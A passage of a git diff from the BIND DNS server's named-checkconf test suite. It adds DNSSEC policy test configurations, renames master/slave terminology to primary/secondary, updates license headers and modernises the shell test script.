 	dnssec-policy "bad-salt";
 };
diff --git a/bin/tests/system/checkconf/kasp-bad-signatures-refresh.conf b/bin/tests/system/checkconf/kasp-bad-signatures-refresh.conf
new file mode 100644
index 0000000000..dd907dddd2
--- /dev/null
+++ b/bin/tests/system/checkconf/kasp-bad-signatures-refresh.conf
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "bad-sigrefresh" {
+	keys {
+		csk lifetime unlimited algorithm 13;
+	};
+
+	signatures-validity P10D;
+	signatures-validity-dnskey P20D;
+	signatures-refresh P9DT1S;
+};
+
+dnssec-policy "bad-sigrefresh-dnskey" {
+	keys {
+		csk lifetime unlimited algorithm 13;
+	};
+
+	signatures-validity P20D;
+	signatures-validity-dnskey P10D;
+	signatures-refresh P9DT1S;
+};
+
+zone "sigrefresh.example.net" {
+	type primary;
+	file "sigrefresh.example.db";
+	dnssec-policy "bad-sigrefresh";
+};
+
+zone "dnskey.example.net" {
+	type primary;
+	file "dnskey.example.db";
+	dnssec-policy "bad-sigrefresh-dnskey";
+};
diff --git a/bin/tests/system/checkconf/kasp-ignore-keylen.conf b/bin/tests/system/checkconf/kasp-ignore-keylen.conf
index b2680bd74d..fae3e4120d 100644
--- a/bin/tests/system/checkconf/kasp-ignore-keylen.conf
+++ b/bin/tests/system/checkconf/kasp-ignore-keylen.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,7 +19,7 @@ dnssec-policy "warn-length" {
 };
 
 zone "example.net" {
-	type master;
+	type primary;
 	file "example.db";
 	dnssec-policy "warn-length";
 };
diff --git a/bin/tests/system/checkconf/kasp-warning.conf b/bin/tests/system/checkconf/kasp-warning.conf
new file mode 100644
index 0000000000..4c05b5ad02
--- /dev/null
+++ b/bin/tests/system/checkconf/kasp-warning.conf
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+dnssec-policy "warn1" {
+	keys {
+		// This policy has keys in the same algorithm with the same
+		// role, this should trigger a warning.
+		ksk lifetime unlimited algorithm ecdsa256;
+		zsk lifetime unlimited algorithm ecdsa256;
+		zsk lifetime unlimited algorithm ecdsa256;
+		ksk lifetime unlimited algorithm ecdsa256;
+	};
+};
+
+dnssec-policy "warn2" {
+	keys {
+		// This policy has keys in the same algorithm with the same
+		// role, this should trigger a warning.
+		csk lifetime unlimited algorithm rsasha256;
+		ksk lifetime unlimited algorithm rsasha256;
+		zsk lifetime unlimited algorithm rsasha256;
+	};
+};
+
+dnssec-policy "warn3" {
+	keys {
+		// This policy has a key with a very short lifetime.
+		csk lifetime PT2591999S algorithm rsasha256;
+	};
+};
+
+zone "warn1.example.net" {
+	type primary;
+	file "warn1.example.db";
+	dnssec-policy "warn1";
+};
+
+zone "warn2.example.net" {
+	type primary;
+	file "warn2.example.db";
+	dnssec-policy "warn2";
+};
+
+zone "warn3.example.net" {
+	type primary;
+	file "warn3.example.db";
+	dnssec-policy "warn3";
+};
+
diff --git a/bin/tests/system/checkconf/lmdb-mapsize-largest.conf b/bin/tests/system/checkconf/lmdb-mapsize-largest.conf
index a01fbc494a..a55b835435 100644
--- a/bin/tests/system/checkconf/lmdb-mapsize-largest.conf
+++ b/bin/tests/system/checkconf/lmdb-mapsize-largest.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/lmdb-mapsize-smallest.conf b/bin/tests/system/checkconf/lmdb-mapsize-smallest.conf
index 797395f83e..447870679b 100644
--- a/bin/tests/system/checkconf/lmdb-mapsize-smallest.conf
+++ b/bin/tests/system/checkconf/lmdb-mapsize-smallest.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/max-cache-size-good.conf b/bin/tests/system/checkconf/max-cache-size-good.conf
index ff9dc8fc9e..bb1277587b 100644
--- a/bin/tests/system/checkconf/max-cache-size-good.conf
+++ b/bin/tests/system/checkconf/max-cache-size-good.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/max-ttl.conf b/bin/tests/system/checkconf/max-ttl.conf
index 074bc2cbbd..b91a5fdcb3 100644
--- a/bin/tests/system/checkconf/max-ttl.conf
+++ b/bin/tests/system/checkconf/max-ttl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,18 +17,18 @@ options {
 };
 
 zone "maxttl1.example" {
-	type master;
+	type primary;
 	file "maxttl-bad.db";
 };
 
 zone "maxttl2.example" {
-	type master;
+	type primary;
 	file "maxttl-bad.db";
 	max-zone-ttl 300;
 };
 
 zone "maxttl3.example" {
-	type master;
+	type primary;
 	file "maxttl-bad.db";
 	max-zone-ttl 120;
 };
diff --git a/bin/tests/system/checkconf/maxttl-bad.conf b/bin/tests/system/checkconf/maxttl-bad.conf
index ac4ca6548b..66bbebd296 100644
--- a/bin/tests/system/checkconf/maxttl-bad.conf
+++ b/bin/tests/system/checkconf/maxttl-bad.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,7 +17,7 @@ options {
 };
 
 zone "maxttl.example" {
-	type master;
+	type primary;
 	file "maxttl-bad.db";
 };
 
diff --git a/bin/tests/system/checkconf/maxttl-bad.db b/bin/tests/system/checkconf/maxttl-bad.db
index 9c8aa7e19e..978f0ecf19 100644
--- a/bin/tests/system/checkconf/maxttl-bad.db
+++ b/bin/tests/system/checkconf/maxttl-bad.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/maxttl.db b/bin/tests/system/checkconf/maxttl.db
index 21536b484f..3ad695ea98 100644
--- a/bin/tests/system/checkconf/maxttl.db
+++ b/bin/tests/system/checkconf/maxttl.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/notify.conf b/bin/tests/system/checkconf/notify.conf
index 60c4f15dda..297811886f 100644
--- a/bin/tests/system/checkconf/notify.conf
+++ b/bin/tests/system/checkconf/notify.conf
@@ -1,27 +1,29 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 view one {
-	notify master-only;
+	notify primary-only;
 
-	# also-notify inconsistent with master-only notify option
-	zone "slave" {
-		type slave;
-		masters { 1.2.3.4; };
+	# also-notify inconsistent with primary-only notify option
+	zone "secondary" {
+		type secondary;
+		primaries { 1.2.3.4; };
 		also-notify { 5.6.7.8; };
 	};
 
 	# OK
-	zone "master" {
-		type master;
+	zone "primary" {
+		type primary;
 		file "filename";
 		also-notify { 5.6.7.8; };
 	};
@@ -31,15 +33,15 @@ view two {
 	notify no;
 
 	# also-notify inconsistent with notify option at the view level
-	zone "slave" {
-		type slave;
-		masters { 1.2.3.4; };
+	zone "secondary" {
+		type secondary;
+		primaries { 1.2.3.4; };
 		also-notify { 5.6.7.8; };
 	};
 
 	# OK
-	zone "master" {
-		type master;
+	zone "primary" {
+		type primary;
 		file "filename";
 		notify yes;
 		also-notify { 5.6.7.8; };
@@ -48,16 +50,16 @@ view two {
 
 view three {
 	# also-notify inconsistent with notify option at the zone level
-	zone "slave" {
-		type slave;
-		masters { 1.2.3.4; };
+	zone "secondary" {
+		type secondary;
+		primaries { 1.2.3.4; };
 		notify no;
 		also-notify { 5.6.7.8; };
 	};
 
 	# OK
-	zone "master" {
-		type master;
+	zone "primary" {
+		type primary;
 		file "filename";
 		also-notify { 5.6.7.8; };
 	};
@@ -67,15 +69,15 @@ view four {
 	also-notify { 5.6.7.8; };
 
 	# OK
-	zone "slave" {
-		type slave;
-		masters { 1.2.3.4; };
-		notify master-only;
+	zone "secondary" {
+		type secondary;
+		primaries { 1.2.3.4; };
+		notify primary-only;
 	};
 
 	# OK
-	zone "master" {
-		type master;
+	zone "primary" {
+		type primary;
 		file "filename";
 		notify no;
 	};
diff --git a/bin/tests/system/checkconf/portrange-good.conf b/bin/tests/system/checkconf/portrange-good.conf
index e02097f138..c4eb582599 100644
--- a/bin/tests/system/checkconf/portrange-good.conf
+++ b/bin/tests/system/checkconf/portrange-good.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/range.conf b/bin/tests/system/checkconf/range.conf
index a7f94d9f50..c254f5c998 100644
--- a/bin/tests/system/checkconf/range.conf
+++ b/bin/tests/system/checkconf/range.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,13 +13,4 @@
 
 options {
 	port 999999;
-	dscp 222;
-	listen-on port 100 dscp 444 {
-		127.0.0.1/32;
-	};
-};
-
-zone "example" {
-	type master;
-	file "example.db";
 };
diff --git a/bin/tests/system/checkconf/servestale.stale-refresh-time.0.conf b/bin/tests/system/checkconf/servestale.stale-refresh-time.0.conf
index 2e58140c2a..3ff6b0d0e2 100644
--- a/bin/tests/system/checkconf/servestale.stale-refresh-time.0.conf
+++ b/bin/tests/system/checkconf/servestale.stale-refresh-time.0.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/servestale.stale-refresh-time.29.conf b/bin/tests/system/checkconf/servestale.stale-refresh-time.29.conf
index 92fe8dcf8c..9e0669c5c9 100644
--- a/bin/tests/system/checkconf/servestale.stale-refresh-time.29.conf
+++ b/bin/tests/system/checkconf/servestale.stale-refresh-time.29.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/setup.sh b/bin/tests/system/checkconf/setup.sh
new file mode 100644
index 0000000000..77707226c9
--- /dev/null
+++ b/bin/tests/system/checkconf/setup.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../conf.sh
+
+copy_setports bad-kasp-keydir1.conf.in bad-kasp-keydir1.conf
+copy_setports bad-kasp-keydir2.conf.in bad-kasp-keydir2.conf
+copy_setports bad-kasp-keydir3.conf.in bad-kasp-keydir3.conf
+copy_setports bad-kasp-keydir4.conf.in bad-kasp-keydir4.conf
+copy_setports bad-kasp-keydir5.conf.in bad-kasp-keydir5.conf
+copy_setports bad-tsig.conf.in bad-tsig.conf
+copy_setports good.conf.in good.conf
+cp -f good-server-christmas-tree.conf.in good-server-christmas-tree.conf
diff --git a/bin/tests/system/checkconf/shared.example.db b/bin/tests/system/checkconf/shared.example.db
index 7b40db9c33..5dcdd1bba7 100644
--- a/bin/tests/system/checkconf/shared.example.db
+++ b/bin/tests/system/checkconf/shared.example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/tests.sh b/bin/tests/system/checkconf/tests.sh
index 23d2c430f9..464879c975 100644
--- a/bin/tests/system/checkconf/tests.sh
+++ b/bin/tests/system/checkconf/tests.sh
@@ -1,56 +1,62 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
 n=0
 
-mkdir keys
+mkdir -p keys
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf handles a known good config ($n)"
 ret=0
 $CHECKCONF good.conf > checkconf.out$n 2>&1 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf prints a known good config ($n)"
 ret=0
-awk 'BEGIN { ok = 0; } /cut here/ { ok = 1; getline } ok == 1 { print }' good.conf > good.conf.in
-[ -s good.conf.in ] || ret=1
-$CHECKCONF -p good.conf.in  > checkconf.out$n || ret=1
-grep -v '^good.conf.in:' < checkconf.out$n > good.conf.out 2>&1 || ret=1
-cmp good.conf.in good.conf.out || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+awk 'BEGIN { ok = 0; } /cut here/ { ok = 1; getline } ok == 1 { print }' good.conf > good.conf.raw
+[ -s good.conf.raw ] || ret=1
+$CHECKCONF -p good.conf.raw  > checkconf.out$n || ret=1
+grep -v '^good.conf.raw:' < checkconf.out$n > good.conf.out 2>&1 || ret=1
+cmp good.conf.raw good.conf.out || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -x removes secrets ($n)"
 ret=0
 # ensure there is a secret and that it is not the check string.
-grep 'secret "' good.conf.in > /dev/null || ret=1
-grep 'secret "????????????????"' good.conf.in > /dev/null 2>&1 && ret=1
-$CHECKCONF -p -x good.conf.in > checkconf.out$n || ret=1
-grep -v '^good.conf.in:' < checkconf.out$n > good.conf.out 2>&1 || ret=1
+grep 'secret "' good.conf.raw > /dev/null || ret=1
+grep 'secret "????????????????"' good.conf.raw > /dev/null 2>&1 && ret=1
+$CHECKCONF -p -x good.conf.raw > checkconf.out$n || ret=1
+grep -v '^good.conf.raw:' < checkconf.out$n > good.conf.out 2>&1 || ret=1
 grep 'secret "????????????????"' good.conf.out > /dev/null 2>&1 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
 for bad in bad-*.conf
 do
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "checking that named-checkconf detects error in $bad ($n)"
     ret=0
-    $CHECKCONF $bad > checkconf.out$n 2>&1
-    if [ $? != 1 ]; then ret=1; fi
+    { $CHECKCONF $bad > checkconf.out$n 2>&1; rc=$?; } || true
+    if [ $rc -ne 1 ]; then ret=1; fi
     grep "^$bad:[0-9]*: " < checkconf.out$n > /dev/null || ret=1
     case $bad in
     bad-update-policy[123].conf)
@@ -61,115 +67,118 @@ do
 	pat="name field not set to placeholder value"
 	grep "$pat" < checkconf.out$n > /dev/null || ret=1
 	;;
-    bad-update-policy[67].conf|bad-update-policy1[2345].conf)
+    bad-update-policy[67].conf|bad-update-policy1[2345789].conf|bad-update-policy20.conf)
 	pat="missing name field type '.*' found"
 	grep "$pat" < checkconf.out$n > /dev/null || ret=1
 	;;
     esac
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status + ret))
 done
 
 for good in good-*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	echo_i "checking that named-checkconf detects no error in $good ($n)"
 	ret=0
-	$CHECKCONF $good > checkconf.out$n 2>&1
-	if [ $? != 0 ]; then echo_i "failed"; ret=1; fi
-	status=`expr $status + $ret`
+	if ! $FEATURETEST --with-libnghttp2
+	then
+		case $good in
+		good-doh-*.conf) continue;;
+		good-dot-*.conf) continue;;
+		esac
+	fi
+	{ $CHECKCONF $good > checkconf.out$n 2>&1; rc=$?; } || true
+	if [ $rc -ne 0 ]; then echo_i "failed"; ret=1; fi
+	status=$((status + ret))
 done
 
 for lmdb in lmdb-*.conf
 do
-	n=`expr $n + 1`
+	n=$((n + 1))
 	ret=0
 
-	$FEATURETEST --with-lmdb
-	if [ $? -eq 0 ]; then
+	if $FEATURETEST --with-lmdb; then
 		echo_i "checking that named-checkconf detects no error in $lmdb ($n)"
-		$CHECKCONF $lmdb > checkconf.out$n 2>&1
-		if [ $? != 0 ]; then echo_i "failed"; ret=1; fi
+		{ $CHECKCONF $lmdb > checkconf.out$n 2>&1; rc=$?; } || true
+		if [ $rc -ne 0 ]; then echo_i "failed"; ret=1; fi
 	else
 		echo_i "checking that named-checkconf detects error in $lmdb ($n)"
-		$CHECKCONF $lmdb > checkconf.out$n 2>&1
-		if [ $? == 0 ]; then echo_i "failed"; ret=1; fi
+		{ $CHECKCONF $lmdb > checkconf.out$n 2>&1; rc=$?; } || true
+		if [ $rc -eq 0 ]; then echo_i "failed"; ret=1; fi
 	fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that ancient options report a fatal error ($n)"
 ret=0
 $CHECKCONF ancient.conf > ancient.out 2>&1 && ret=1
 grep "no longer exists" ancient.out > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf -z catches missing hint file ($n)"
 ret=0
 $CHECKCONF -z hint-nofile.conf > hint-nofile.out 2>&1 && ret=1
 grep "could not configure root hints from 'nonexistent.db': file not found" hint-nofile.out > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf catches range errors ($n)"
 ret=0
 $CHECKCONF range.conf > checkconf.out$n 2>&1 && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that named-checkconf warns of notify inconsistencies ($n)"
 ret=0
 $CHECKCONF notify.conf > checkconf.out$n 2>&1
-warnings=`grep "'notify' is disabled" < checkconf.out$n | wc -l`
+warnings=$(grep "'notify' is disabled" < checkconf.out$n | wc -l)
 [ $warnings -eq 3 ] || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-n=`expr $n + 1`
-echo_i "checking named-checkconf dnssec warnings ($n)"
-ret=0
-# dnssec.1: auto-dnssec warning
-$CHECKCONF dnssec.1 > checkconf.out$n.2 2>&1
-grep 'auto-dnssec may only be ' < checkconf.out$n.2 > /dev/null || ret=1
-# dnssec.2: should have no warnings
-$CHECKCONF dnssec.2 > checkconf.out$n.3 2>&1
-grep '.*' < checkconf.out$n.3 > /dev/null && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-n=`expr $n + 1`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
 echo_i "checking named-checkconf deprecate warnings ($n)"
 ret=0
 $CHECKCONF deprecated.conf > checkconf.out$n.1 2>&1
 grep "option 'managed-keys' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
 grep "option 'trusted-keys' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+grep "option 'max-zone-ttl' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
+grep "option 'use-v4-udp-ports' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
+grep "option 'use-v6-udp-ports' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
+grep "option 'avoid-v4-udp-ports' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
+grep "option 'avoid-v6-udp-ports' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
+grep "option 'dialup' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
+grep "option 'heartbeat-interval' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
+grep "option 'dnssec-must-be-secure' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
+grep "token 'port' is deprecated" < checkconf.out$n.1 > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 # set -i to ignore deprecate warnings
 $CHECKCONF -i deprecated.conf > checkconf.out$n.2 2>&1
 grep '.*' < checkconf.out$n.2 > /dev/null && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking named-checkconf servestale warnings ($n)"
 ret=0
 $CHECKCONF servestale.stale-refresh-time.0.conf > checkconf.out$n.1 2>&1
 grep "'stale-refresh-time' should either be 0 or otherwise 30 seconds or higher" < checkconf.out$n.1 > /dev/null && ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 ret=0
 $CHECKCONF servestale.stale-refresh-time.29.conf > checkconf.out$n.1 2>&1
 grep "'stale-refresh-time' should either be 0 or otherwise 30 seconds or higher" < checkconf.out$n.1 > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "range checking fields that do not allow zero ($n)"
 ret=0
 for field in max-retry-time min-retry-time max-refresh-time min-refresh-time; do
@@ -178,15 +187,15 @@ options {
     $field 0;
 };
 EOF
-    $CHECKCONF badzero.conf > checkconf.out$n.1 2>&1
-    [ $? -eq 1 ] || { echo_i "options $field failed" ; ret=1; }
+    { $CHECKCONF badzero.conf > checkconf.out$n.1 2>&1; rc=$?; } || true
+    [ $rc -eq 1 ] || { echo_i "options $field failed" ; ret=1; }
     cat > badzero.conf << EOF
 view dummy {
     $field 0;
 };
 EOF
-    $CHECKCONF badzero.conf > checkconf.out$n.2 2>&1
-    [ $? -eq 1 ] || { echo_i "view $field failed" ; ret=1; }
+    { $CHECKCONF badzero.conf > checkconf.out$n.2 2>&1; rc=$?; } || true
+    [ $rc -eq 1 ] || { echo_i "view $field failed" ; ret=1; }
     cat > badzero.conf << EOF
 options {
     $field 0;
@@ -194,8 +203,8 @@ options {
 view dummy {
 };
 EOF
-    $CHECKCONF badzero.conf > checkconf.out$n.3 2>&1
-    [ $? -eq 1 ] || { echo_i "options + view $field failed" ; ret=1; }
